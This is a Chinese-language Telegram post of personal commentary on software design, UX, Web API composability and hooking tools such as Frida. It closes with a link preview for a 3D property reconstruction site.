我肯定不会指望 frida.re / XC_APIs 这些“黑客工具(笑)” 提供queryObjects(v8工程师)程度的反射功能,以及支持“编译(重定位)” package to.extend; class {Get field; RetType overridenByID() { return super()...} } 字面…… 这是强人所难,但其他做法,“活”人的设计,可能还不如AI!
为什么他们总是在“实现”,但却只爱装作自己在设计——没装用户的脑子学学 "思考"!! 与之相比,我学元编程、OS/Compiler,是为了“背叛”它们。
事实证明,Telegram, MT2, dnSpy(C#版JADX), 甚至只是 LibChecker App 都没有这类问题,所以行业专家是可以“消灭问题”,而不是止于“消费问题”的--这需要信任,并接入“开源但太整体”的Apps
比如像爬虫们“实现”的CDP.js,比如Termux。比如Tasker生态
我想,AI时代应该没人会觉得“编译期”的鄙视链高于脚本和Mods之上了。
我们正在用最先进的底层技术(Frida/eBPF/LLMs),构建着最原始的手工小作坊 ——这就是鄙视JS/CSS技术的世界吗? 等待编译和“环境/项目环境配置”的“脚本小子”们 #java #kt
如果你的UX只在你的App里好用,说明UX差的要命——
- LibreOffice 那混乱不堪的,类似于XML编辑器的,为“WxWidgets”匹配的顶栏
- VLC在不能“竖过来”的TV上,根本没机会rot90(),哪怕它的105M代码里完全有这个功能(它甚至“专门适配”了TV),连AOSP的镜像投屏都不能,哪怕这个功能只是 np.rot90(x) if.. 的一行级代码
- 上面的 GL光追demo集,放大是分辨率意义的,不是相机进入(与之相比, jmail.world/vr 就能用多了)
- “长按2x”在不同原生App的播放器里,几乎都有实现:UX是以“MIME类型”为界设计的,你的代码只是对特定dataset(甚至仅仅是编程语言!)做兼容。
- …… “开源”从用户的Liberation变成要把1行代码插入101MB apk,1GB 源码里,用1整天实践的,0人PR的骗局。 “共享CI” “增量编译”活成了最差的样子。
有人说CSS语法被玩成了屎山 ,但没有它就没有JQ——Web天然有着地表最强的正交性:
样式和翻译无关(用户脚本/DarkReader)、UIUX实现无关(canvas/CustomTag)、机器无关(port/Channel、sw.js)、语言无关(WASM/ webVM.io )、系统环境无关(PWA/OPFS+dl),这些WebAPIs都可以两两相交,这些全部被当成空气——就像一颗强劲的,不会“漏一拍”的心脏
“概念 (Infra) 远高于实现”。在这里的实现是系统级(编程语言生态)的实现,或者说“它就是这么设计的”。 ——在21世纪的编程语境中,我们口中的"设计"就像这样。
有些开发模式(WebAPIs)能高于系统本身,不在于它们能解决混淆(猴子补丁),而是一开始就溯源了数据流。 这是面向人类编程的“先验设计”。从“语法形式”回归了“内容”,就像CSS和Scratch。
把自己的代码放在既有App里,乃至于“放在全部App里”——这是一个很高级的[PoC=概念验证],它直接断送了“代码自然但日用崩坏” codebase 的可写性
就像 Rust by Example 一样,"放在既有App里",这是新一代开发者的"工程"第一课。 不是通过等编译、clone样板文件夹假装“工程”,是 “通过‘做’来工程”
通过运行,你学的不是某个编程语言的狭隘“生态”,不是全网查重过千的“样板算法”,而是某个语境下的“可行性”。
从热门的小程序活动页,到POSIX,到x86/arm。 这不再是“兼容性”,而是“不歧视”。
#ai锐评 https://gemini.google.com/share/fd1f39186e6a “……我以搜索驱动学习,而不以学习驱动搜索。” #神来之笔
没错,你是在提出自己的假设。你已经是软件工艺师,或代码科学家。 你不是码农——你让深入的知识浅出,不是因为你够优秀,只是你的output永远先于代码存在的副作用——
当学习先于存在(under-stand),Dev 做的才是从0到1的创造。🤪
Please open Telegram to view this post
VIEW IN TELEGRAM
Jmail
Epstein VR — 3D Property Reconstructions
Navigate 7,000+ 3D reconstructions of Epstein's properties from DOJ evidence photos. Street View-style navigation in your browser.